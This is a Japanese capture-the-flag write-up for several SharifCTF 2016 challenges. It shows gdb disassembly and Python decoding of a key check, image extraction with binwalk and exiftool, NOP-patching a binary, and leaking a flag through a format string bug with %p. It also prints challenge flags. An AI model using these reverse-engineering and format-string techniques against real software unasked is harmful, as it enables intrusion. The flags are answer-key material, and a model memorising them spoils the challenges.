   0x0000000000400bc0 <+371>:   movzx  eax,BYTE PTR [rbp-0x3c]
   0x0000000000400bc4 <+375>:   cmp    al,0x67
   0x0000000000400bc6 <+377>:   jne    0x400e98 <main+1099>
   0x0000000000400bcc <+383>:   movzx  eax,BYTE PTR [rbp-0x3b]
   0x0000000000400bd0 <+387>:   cmp    al,0x34
   0x0000000000400bd2 <+389>:   jne    0x400e98 <main+1099>
   0x0000000000400bd8 <+395>:   movzx  eax,BYTE PTR [rbp-0x3a]
   0x0000000000400bdc <+399>:   cmp    al,0x66
   0x0000000000400bde <+401>:   jne    0x400e98 <main+1099>
   0x0000000000400be4 <+407>:   movzx  eax,BYTE PTR [rbp-0x39]
   0x0000000000400be8 <+411>:   cmp    al,0x30
   0x0000000000400bea <+413>:   jne    0x400e98 <main+1099>
   0x0000000000400bf0 <+419>:   movzx  eax,BYTE PTR [rbp-0x38]
   0x0000000000400bf4 <+423>:   cmp    al,0x32
   0x0000000000400bf6 <+425>:   jne    0x400e98 <main+1099>
   0x0000000000400bfc <+431>:   movzx  eax,BYTE PTR [rbp-0x37]
   0x0000000000400c00 <+435>:   cmp    al,0x32
   0x0000000000400c02 <+437>:   jne    0x400e98 <main+1099>
   0x0000000000400c08 <+443>:   movzx  eax,BYTE PTR [rbp-0x36]
   0x0000000000400c0c <+447>:   cmp    al,0x35
   0x0000000000400c0e <+449>:   jne    0x400e98 <main+1099>
   0x0000000000400c14 <+455>:   movzx  eax,BYTE PTR [rbp-0x35]
   0x0000000000400c18 <+459>:   cmp    al,0x39
   0x0000000000400c1a <+461>:   jne    0x400e98 <main+1099>
   0x0000000000400c20 <+467>:   movzx  eax,BYTE PTR [rbp-0x34]
   0x0000000000400c24 <+471>:   cmp    al,0x33
   0x0000000000400c26 <+473>:   jne    0x400e98 <main+1099>
   0x0000000000400c2c <+479>:   movzx  eax,BYTE PTR [rbp-0x33]
   0x0000000000400c30 <+483>:   cmp    al,0x35
   0x0000000000400c32 <+485>:   jne    0x400e98 <main+1099>
   0x0000000000400c38 <+491>:   movzx  eax,BYTE PTR [rbp-0x32]
   0x0000000000400c3c <+495>:   cmp    al,0x63
   0x0000000000400c3e <+497>:   jne    0x400e98 <main+1099>
   0x0000000000400c44 <+503>:   movzx  eax,BYTE PTR [rbp-0x31]
   0x0000000000400c48 <+507>:   cmp    al,0x30
   0x0000000000400c4a <+509>:   jne    0x400e98 <main+1099>

pythonで復元

>>> [i[-2:] for i in b]
['38', '37', '34', '30', '33', '38', '65', '34', '62', '36', '65', '32', '39', '62', '66', '30', '38', '39', '38', '62', '67', '34', '66', '30', '32', '32', '35', '39', '33', '35', '63', '30', '']
>>> c = [i[-2:] for i in b]
>>> c[:-1]
['38', '37', '34', '30', '33', '38', '65', '34', '62', '36', '65', '32', '39', '62', '66', '30', '38', '39', '38', '62', '67', '34', '66', '30', '32', '32', '35', '39', '33', '35', '63', '30']
>>> c = c[:-1]
>>> [chr(int(i, 16)) for i in c]
['8', '7', '4', '0', '3', '8', 'e', '4', 'b', '6', 'e', '2', '9', 'b', 'f', '0', '8', '9', '8', 'b', 'g', '4', 'f', '0', '2', '2', '5', '9', '3', '5', 'c', '0']
>>> "".join([chr(int(i, 16)) for i in c])
'874038e4b6e29bf0898bg4f0225935c0'
>>> 
(gdb) c
Continuing.
Enter the valid key!
874038e4b6e29bf0898bg4f0225935c0
SharifCTF{ed97d286f356dadb5cde0902006c7deb}
[Inferior 1 (process 14982) exited normally]
(gdb) Quit

Camera Model(misc100)

画像が表示されるelfが降ってくる。

binwalkで中に埋め込まれてる画像を取り出してexiftoolで読むだけ。

ExifTool Version Number         : 10.10
File Name                       : 1538
Directory                       : .
File Size                       : 88 kB
File Modification Date/Time     : 2016:12:17 07:00:39+09:00
File Access Date/Time           : 2016:12:17 07:15:06+09:00
File Inode Change Date/Time     : 2016:12:17 07:00:39+09:00
File Permissions                : rw-rw-r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Big-endian (Motorola, MM)
Camera Model Name               : DSLR4781
Orientation                     : Horizontal (normal)
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Software                        : GIMP 2.8.16
Modify Date                     : 2016:12:02 11:38:04
Exif Version                    : 0221
Flashpix Version                : 0100
Color Space                     : Uncalibrated
Exif Image Width                : 355
Exif Image Height               : 382
Compression                     : JPEG (old-style)
Thumbnail Offset                : 358
Thumbnail Length                : 9487
Already Applied                 : True
Color Mode                      : RGB
Create Date                     : 2015:09:08 15:22:28+04:30
Metadata Date                   : 2015:10:04 23:17:15+03:30
Format                          : image/jpeg
Instance ID                     : xmp.iid:740FF2C8C66AE51197CDBA27CE0AC1AC
Document ID                     : xmp.did:730FF2C8C66AE51197CDBA27CE0AC1AC
Original Document ID            : xmp.did:730FF2C8C66AE51197CDBA27CE0AC1AC
Image Length                    : 768
Photometric Interpretation      : RGB
Samples Per Pixel               : 3
Date Time                       : 2015:10:04 23:17:15
Flash Pix Version               : FlashPix Version 1.0
Image Width                     : 355
Image Height                    : 382
Encoding Process                : Progressive DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
Image Size                      : 355x382
Megapixels                      : 0.136
Thumbnail Image                 : (Binary data 9487 bytes, use -b option to extract)

flag: SharifCTF{ccb7ed56eea6576263abeca4cdb03f62}

Pretty Raw(for150)

fileコマンドでdataと表示されるのでバイナリエディタで眺める。

下のほうにpngがくっ付いてるので取り出すと、exiftoolした結果の画像が出てくる。

なんとなくpngの上のほうがビットマップっぽく見えるのでexiftoolで表示されてるピクセル分上から取り出して拡張子を.dataにして開くと解けた。

f:id:b_tya_nya:20161219000621p:plain

Getit(rev50)

/tmp/flag.txtにflagを書き込んでくれる実行ファイルが与えられる。 ただし最後にremoveしてたりfprintfで上書きしてたりするので該当箇所をnopで埋めてやると正しいflagが得られる。

SharifCTF{b70c59275fcfa8aebf2d5911223c6589}

Guess(pwn50)

フォーマットストリングバグがあるのでとりあえず%pで読み出しまくる。

なんかそれっぽい文字列がありそうなところがあったので読むとflagだった。

0x5443666972616853
0x3832346435617b46
0x6237636363323336
0x6136633735336466
0x3561383761383231
>>> def get_text(t):
...   t = t.replace("0x", "")
...   ts = [t[i:i+2] for i in range(0, len(t), 2)]
...   tss = [chr(int(i, 16)) for i in ts]
...   return reversed(tss)
... 
>>> l = []
>>> l += get_text("0x5443666972616853")
>>> l += get_text("0x3832346435617b46")
>>> l += get_text("0x6237636363323336")
>>> l += get_text("0x6136633735336466")
>>> l += get_text("0x3561383761383231")
>>> "".join(l)
'SharifCTF{a5d428632ccc7bfd357c6a128a78a5'
>>> 

感想

こいつやるだけ問題しか解けねえよな状態